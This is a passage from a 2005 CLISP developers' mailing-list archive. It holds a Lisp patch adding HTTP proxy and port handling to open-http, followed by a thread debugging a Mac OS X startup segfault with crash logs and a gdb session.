proxy-string string) + (let* ((at (position #\@ proxy-string)) + (colon1 (and at (position #\: proxy-string :end at))) + (colon2 (position #\: proxy-string :start (or at 0)))) + (setq *proxy* + (list (and at (subseq proxy-string 0 (or colon1 at))) + (and at colon1 (subseq proxy-string (1+ colon1) at)) + (subseq proxy-string (if at (1+ at) 0) colon2) + (and colon2 (parse-integer proxy-string + :start (1+ colon2))))))) + *proxy*) (defmacro with-http-input ((var url) &body body) (if (symbolp var) @@ -96,20 +114,26 @@ (MULTIPLE-VALUE-PROG1 (PROGN ,@body-rest) (when ,(first var) (CLOSE ,(first var)))) (when ,(first var) (CLOSE ,(first var) :ABORT T))))))) -(defun open-http (url &key (if-does-not-exist :error)) +(defun open-http (url &key (if-does-not-exist :error) (default-port 80)) (unless (string-equal #1="http://" url :end2 (min (length url) #2=#.(length #1#))) (error "~S: ~S is not an HTTP URL" 'open-http url)) (format t "~&;; connecting to ~S..." url) (force-output) - (let* ((host-end (position #\/ url :start #2#)) status code - (host (subseq url #2# host-end)) content-length - (path (if host-end (subseq url host-end) "/")) + (let* ((host-port-end (position #\/ url :start #2#)) status code + (port-start (position #\: url :start #2# :end host-port-end)) + (host (subseq url #2# (or port-start host-port-end))) content-length + (port (if port-start + (parse-integer url :start (1+ port-start) + :end host-port-end) + default-port)) + (path (if host-port-end (subseq url host-port-end) "/")) (sock (handler-bind ((error (lambda (c) (unless (eq if-does-not-exist :error) - (format t "cannot connect to ~S: ~A~%" - host c) + (format + t "cannot connect to ~S:~D: ~A~%" + host port c) (return-from open-http nil))))) - (socket:socket-connect 80 host :external-format :dos)))) + (socket:socket-connect port host :external-format :dos)))) (format t "connected...") (force-output) (format sock "GET ~A HTTP/1.0~%User-agent: ~A~%Host: ~A~%Accept: */*~%Connection: close~2%" path (lisp-implementation-type) host) ; request (write-string (setq status (read-line sock))) (force-output) From kavenchuk@jenty.by Tue Nov 22 08:27:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eeazm-0007cP-J2 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 08:27:50 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eeazk-000130-3G for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 08:27:50 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT6J5W9; Tue, 22 Nov 2005 18:29:00 +0200 Message-ID: <4383475C.3070901@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 WEIRD_PORT URI: Uses non-standard port number for HTTP Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 08:28:10 2005 X-Original-Date: Tue, 22 Nov 2005 18:29:16 +0200 Sam Steingold wrote: > please try the appended patch. > 1. proxy-host has protokol prefix - http result: CL-USER> (proxy "user:password@http://www.proxy.com:3128") PARSE-INTEGER: substring "//www.proxy.com:3128" does not have integer syntax at position 0 2. Where in open-http proxy? Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Nov 22 09:02:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EebX4-0001NY-4R for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 09:02:14 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EebX1-0008Ov-CL for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 09:02:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMH1lYu012427; Tue, 22 Nov 2005 12:01:49 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4383475C.3070901@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Nov 2005 18:29:16 +0200") References: <4383475C.3070901@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 09:03:03 2005 X-Original-Date: Tue, 22 Nov 2005 12:00:47 -0500 > * Yaroslav Kavenchuk [2005-11-22 18:29:16 +0200]: > > 1. proxy-host has protokol prefix - http > 2. Where in open-http proxy? oops... -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://ffii.org/ http://www.openvotingconsortium.org/ http://www.memri.org/ http://www.honestreporting.com C combines the power of assembler with the portability of assembler. --- clhs.lisp 19 Nov 2005 23:44:29 -0500 1.31 +++ clhs.lisp 22 Nov 2005 11:57:03 -0500 @@ -4,7 +4,8 @@ (in-package "EXT") -(export '(clhs clhs-root read-from-file browse-url open-http with-http-input)) +(export '(clhs clhs-root read-from-file browse-url open-http with-http-input + proxy)) (in-package "SYSTEM") @@ -85,6 +86,31 @@ --> ~%" 'browse-url url))))) ;;; see also clocc/cllib/net.lisp +(defvar *proxy* nil + "A list of 4 elements (user password host port), parsed from $HTTP_PROXY +proxy-user:proxy-password@proxy-host:proxy-port") +(defconstant *http-port* 80) +(defun proxy (&optional (proxy-string (getenv "HTTP_PROXY") proxy-p)) + "When the argument is supplied or *PROXY* is NIL, parse the argument, +set *PROXY*, and return it; otherwise just return *PROXY*." + (when (or proxy-p (and (null *proxy*) proxy-string)) + (check-type proxy-string string) + (let* ((start (if (string-equal #1="http://" proxy-string + :end2 (min (length proxy-string) + #2=#.(length #1#))) + #2# 0)) + (at (position #\@ proxy-string :start start)) + (colon1 (and at (position #\: proxy-string :start start :end at))) + (colon2 (position #\: proxy-string :start (or at 0)))) + (setq *proxy* + (list (and at (subseq proxy-string start (or colon1 at))) + (and at colon1 (subseq proxy-string (1+ colon1) at)) + (subseq proxy-string (if at (1+ at) start) colon2) + (if colon2 + (parse-integer proxy-string :start (1+ colon2)) + *http-port*))) + (format t "~&;; ~S=~S~%" '*proxy* *proxy*))) + *proxy*) (defmacro with-http-input ((var url) &body body) (if (symbolp var) @@ -101,17 +127,26 @@ :end2 (min (length url) #2=#.(length #1#))) (error "~S: ~S is not an HTTP URL" 'open-http url)) (format t "~&;; connecting to ~S..." url) (force-output) - (let* ((host-end (position #\/ url :start #2#)) status code - (host (subseq url #2# host-end)) content-length - (path (if host-end (subseq url host-end) "/")) + (proxy) + (let* ((host-port-end (position #\/ url :start #2#)) + (port-start (position #\: url :start #2# :end host-port-end)) + (url-host (subseq url #2# (or port-start host-port-end))) + (host (if *proxy* (third *proxy*) url-host)) + (url-port (if port-start + (parse-integer url :start (1+ port-start) + :end host-port-end) + *http-port*)) + (port (if *proxy* (fourth *proxy*) url-port)) (sock (handler-bind ((error (lambda (c) (unless (eq if-does-not-exist :error) - (format t "cannot connect to ~S: ~A~%" - host c) + (format + t "cannot connect to ~S:~D: ~A~%" + host port c) (return-from open-http nil))))) - (socket:socket-connect 80 host :external-format :dos)))) + (socket:socket-connect port host :external-format :dos))) + status code content-length) (format t "connected...") (force-output) - (format sock "GET ~A HTTP/1.0~%User-agent: ~A~%Host: ~A~%Accept: */*~%Connection: close~2%" path (lisp-implementation-type) host) ; request + (format sock "GET ~A HTTP/1.0~%User-agent: ~A~%Host: ~A~%Accept: */*~%Connection: close~2%" url (lisp-implementation-type) host) ; request (write-string (setq status (read-line sock))) (force-output) (let* ((pos1 (position #\Space status)) (pos2 (position #\Space status :start (1+ pos1)))) From johan@liseborn.se Tue Nov 22 12:19:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeecG-0004Vm-Ne for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 12:19:48 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeecD-0005qL-PM for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 12:19:48 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2974846 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 21:19:24 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <7C64BE41-91A4-47B4-8991-9A400C1D29DF@liseborn.se> Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 12:21:43 2005 X-Original-Date: Tue, 22 Nov 2005 21:19:20 +0100 On Nov 22, 2005, at 16:17, Sam Steingold wrote: >>> SUMMARY: >>> >>> segfault on startup in closed_buffered() when built with "gcc -O2" >>> >>> Exception: EXC_BAD_ACCESS (0x0001) >>> Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 >>> >>> Thread 0 Crashed: >>> 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) >>> 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) >>> 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) >>> 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) >>> 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) >>> 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) >>> 6 lisp.run 0x00002878 _start + 340 (crt.c:272) >>> 7 lisp.run 0x00002720 start + 60 >>> >>> no segfault when built with "SAFETY=3" >> >>> gcc --version >> >> powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc. >> build >> 5247) >> >>> uname -a >> >> Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: >> Mon Oct >> 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power >> Macintosh powerpc >> * "gcc -O" > > -O == -O2 > how about -O1 ? Hmm, the man-page on Darwin says -O == -O1. Just to make sure, I built it with "-O1" as well; it still segfaults. > now please keep -O2 but set SAFETY to different values. > SAFETY=0 (default) ==> segfault > SAFETY=3 ==> no segfault > SAFETY=1 ==> segfault > SAFETY=2 ==> segfault > BTW, do you observe the segfault with the 2.35 binaries from the SF? The latest build I can find on SF is for Darwin 7.9.0 (Mac OS X 10.3.9), but that one seems to work fine, no segfaults. I tried building from CVS head on another Mac, running OS X 10.4.2 and GCC 4.0.0; this also gives a crash dump, which falsifies my previous thought that this had to do with the upgrade from GCC 4.0.0 to 4.0.1. uname -a Darwin Johans-Mac-mini.local 8.2.0 Darwin Kernel Version 8.2.0: Fri Jun 24 17:46:54 PDT 2005; root:xnu-792.2.4.obj~3/RELEASE_PPC Power Macintosh powerpc gcc --version powerpc-apple-darwin8-gcc-4.0.0 (GCC) 4.0.0 20041026 (Apple Computer, Inc. build 4061) As I reported before, CLISP actually starts after the stack trace and other stuff has been written to "~/Library/Logs/CrashReporter/ lisp.run.crash.log"; is this due to some sort of libsigsegv-magic, or...? This is the reason why I haven't noticed it before; I stumbled upon this problem when I was browsing through the logs and saw a suspiciously large number of CLISP crashes, but I had not noticed it when I was using CLISP. -- Johan Liseborn From sds@gnu.org Tue Nov 22 12:40:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eeew1-0005Z4-VF for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 12:40:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eeew0-0005GC-7A for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 12:40:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMKdO0T026524; Tue, 22 Nov 2005 15:39:29 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> (Johan Liseborn's message of "Tue, 22 Nov 2005 07:03:42 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 12:42:02 2005 X-Original-Date: Tue, 22 Nov 2005 15:38:24 -0500 > * Johan Liseborn [2005-11-22 07:03:42 +0100]: > > On Nov 21, 2005, at 19:22, Sam Steingold wrote: > >> SUMMARY: >> >> segfault on startup in closed_buffered() when built with "gcc -O2" >> >> Exception: EXC_BAD_ACCESS (0x0001) >> Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 >> >> Thread 0 Crashed: >> 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) >> 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) >> 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) >> 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) >> 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) >> 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) >> 6 lisp.run 0x00002878 _start + 340 (crt.c:272) >> 7 lisp.run 0x00002720 start + 60 >> >> no segfault when built with "gcc -g" >> >> gcc --version > > powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc. build > 5247) > >> uname -a > > Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon Oct > 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power > Macintosh powerpc > > I also tried all the combinations below, and they all segfault: > > * "gcc -falign-functions=4 -g" good - please run under gdb and see why it segfaults. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://pmw.org.il/ http://www.iris.org.il http://www.openvotingconsortium.org/ http://www.honestreporting.com Time would have been the best Teacher, if it did not kill all its students. From johan@liseborn.se Tue Nov 22 14:01:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EegCj-0001ci-CH for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 14:01:33 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EegCi-0002Mj-GX for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 14:01:33 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2975037 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 23:01:25 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 14:02:04 2005 X-Original-Date: Tue, 22 Nov 2005 23:01:23 +0100 On Nov 22, 2005, at 21:38, Sam Steingold wrote: >>> SUMMARY: >>> >>> segfault on startup in closed_buffered() when built with "gcc -O2" >>> >>> Exception: EXC_BAD_ACCESS (0x0001) >>> Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 >>> >>> Thread 0 Crashed: >>> 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) >>> 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) >>> 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) >>> 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) >>> 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) >>> 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) >>> 6 lisp.run 0x00002878 _start + 340 (crt.c:272) >>> 7 lisp.run 0x00002720 start + 60 >>> >>> no segfault when built with "gcc -g" >>> >>> gcc --version >> >> powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc. >> build >> 5247) >> >>> uname -a >> >> Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: >> Mon Oct >> 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power >> Macintosh powerpc >> >> I also tried all the combinations below, and they all segfault: >> >> * "gcc -falign-functions=4 -g" > > good - please run under gdb and see why it segfaults. This seems to crash GDB... Johans-Computer:~/work/clisp-current/build mjl$ gdb lisp.run GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov 2 17:28:16 GMT 2005) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin"...Reading symbols for shared libraries ....... done Breakpoint 1 at 0x42ab4: file eval.d, line 4937. Breakpoint 2 at 0x3daf8: file eval.d, line 4020. Breakpoint 3 at 0x36b10: file eval.d, line 2882. Breakpoint 4 at 0x45d94: file eval.d, line 5906. Breakpoint 5 at 0x132c8: file spvw_garcol.d, line 2430. Hardware watchpoint 6: back_trace Breakpoint 7 at 0x18978: file spvw.d, line 658. Breakpoint 8 at 0x50d8: file spvw.d, line 479. Breakpoint 9 at 0x51c0: file spvw.d, line 494. Breakpoint 10 at 0x195898: file error.d, line 349. Breakpoint 11 at 0x1957d0: file error.d, line 326. Breakpoint 12 at 0x196afc: file errunix.c, line 680. Breakpoint 13 at 0x196bec: file errunix.c, line 695. Breakpoint 14 at 0x196e84: file error.d, line 425. Breakpoint 15 at 0x196d14: file errunix.c, line 723. Num Type Disp Enb Address What 1 breakpoint keep n 0x00042ab4 in funcall at eval.d:4937 xout fun 2 breakpoint keep n 0x0003daf8 in apply at eval.d:4020 xout fun 3 breakpoint keep n 0x00036b10 in eval at eval.d:2882 xout form 4 breakpoint keep n 0x00045d94 in interpret_bytecode_ at eval.d:5906 xout closure 5 breakpoint keep n 0x000132c8 in gar_col at spvw_garcol.d:2430 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x00018978 in fehler_notreached at spvw.d: 658 8 breakpoint keep y 0x000050d8 in SP_ueber at spvw.d:479 9 breakpoint keep y 0x000051c0 in STACK_ueber at spvw.d:494 10 breakpoint keep y 0x00195898 in fehler at error.d:349 11 breakpoint keep y 0x001957d0 in prepare_error at error.d:326 12 breakpoint keep y 0x00196afc in OS_error at errunix.c:680 13 breakpoint keep y 0x00196bec in OS_file_error at errunix.c:695 14 breakpoint keep y 0x00196e84 in OS_filestream_error at error.d:425 15 breakpoint keep y 0x00196d14 in errno_out_low at errunix.c:723 Breakpoint 16 at 0x6294: file spvw_sigsegv.c, line 39. .gdbinit:163: Error in sourced command file: No symbol "byteptr" in current context. (gdb) base (gdb) run Starting program: /Users/mjl/work/clisp-current/build/base/lisp.run - B . -N locale -M base/lispinit.mem -q -norc Segmentation fault Johans-Computer:~/work/clisp-current/build mjl$ I get the following stack trace for the GDB crash: Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_INVALID_ADDRESS (0x0001) at 0x006c10f0 Thread 0 Crashed: 0 gdb-powerpc-apple-darwin 0x000c3688 dyld_is_objfile_loaded + 40 1 gdb-powerpc-apple-darwin 0x0006fc24 insert_breakpoints + 236 2 gdb-powerpc-apple-darwin 0x0005fa8c proceed + 432 3 gdb-powerpc-apple-darwin 0x0008a46c run_command + 772 4 gdb-powerpc-apple-darwin 0x0001b788 execute_command + 676 5 gdb-powerpc-apple-darwin 0x000335c8 command_handler + 240 6 gdb-powerpc-apple-darwin 0x00033d40 command_line_handler + 1248 7 gdb-powerpc-apple-darwin 0x0017c8f8 rl_callback_read_char + 180 8 gdb-powerpc-apple-darwin 0x00032d54 rl_callback_read_char_wrapper + 20 9 gdb-powerpc-apple-darwin 0x00037240 process_event + 188 10 gdb-powerpc-apple-darwin 0x000381a4 gdb_do_one_event + 1096 11 gdb-powerpc-apple-darwin 0x0001b1ac catcher + 216 12 gdb-powerpc-apple-darwin 0x0001b438 catch_errors + 68 13 gdb-powerpc-apple-darwin 0x00037298 start_event_loop + 60 14 gdb-powerpc-apple-darwin 0x000150ac captured_command_loop + 16 15 gdb-powerpc-apple-darwin 0x0001b1ac catcher + 216 16 gdb-powerpc-apple-darwin 0x0001b438 catch_errors + 68 17 gdb-powerpc-apple-darwin 0x000161fc captured_main + 4364 18 gdb-powerpc-apple-darwin 0x0001b1ac catcher + 216 19 gdb-powerpc-apple-darwin 0x0001b438 catch_errors + 68 20 gdb-powerpc-apple-darwin 0x00016238 gdb_main + 56 21 gdb-powerpc-apple-darwin 0x00002324 main + 48 22 gdb-powerpc-apple-darwin 0x00001b4c _start + 340 23 gdb-powerpc-apple-darwin 0x000019f4 start + 60 Thread 1: 0 libSystem.B.dylib 0x90031aac wait4 + 12 1 gdb-powerpc-apple-darwin 0x000e7444 macosx_signal_thread + 108 2 libSystem.B.dylib 0x9002b200 _pthread_body + 96 Thread 2: 0 libSystem.B.dylib 0x9001422c read + 12 1 gdb-powerpc-apple-darwin 0x000e700c macosx_exception_thread + 908 2 libSystem.B.dylib 0x9002b200 _pthread_body + 96 -- Johan Liseborn From sds@gnu.org Tue Nov 22 14:10:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EegLl-00028M-SZ for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 14:10:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EegLf-0006Nn-RI for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 14:10:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMMA46X001996; Tue, 22 Nov 2005 17:10:15 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Johan Liseborn's message of "Tue, 22 Nov 2005 23:01:23 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 14:11:05 2005 X-Original-Date: Tue, 22 Nov 2005 17:09:05 -0500 > * Johan Liseborn [2005-11-22 23:01:23 +0100]: > >>> * "gcc -falign-functions=4 -g" >> >> good - please run under gdb and see why it segfaults. > 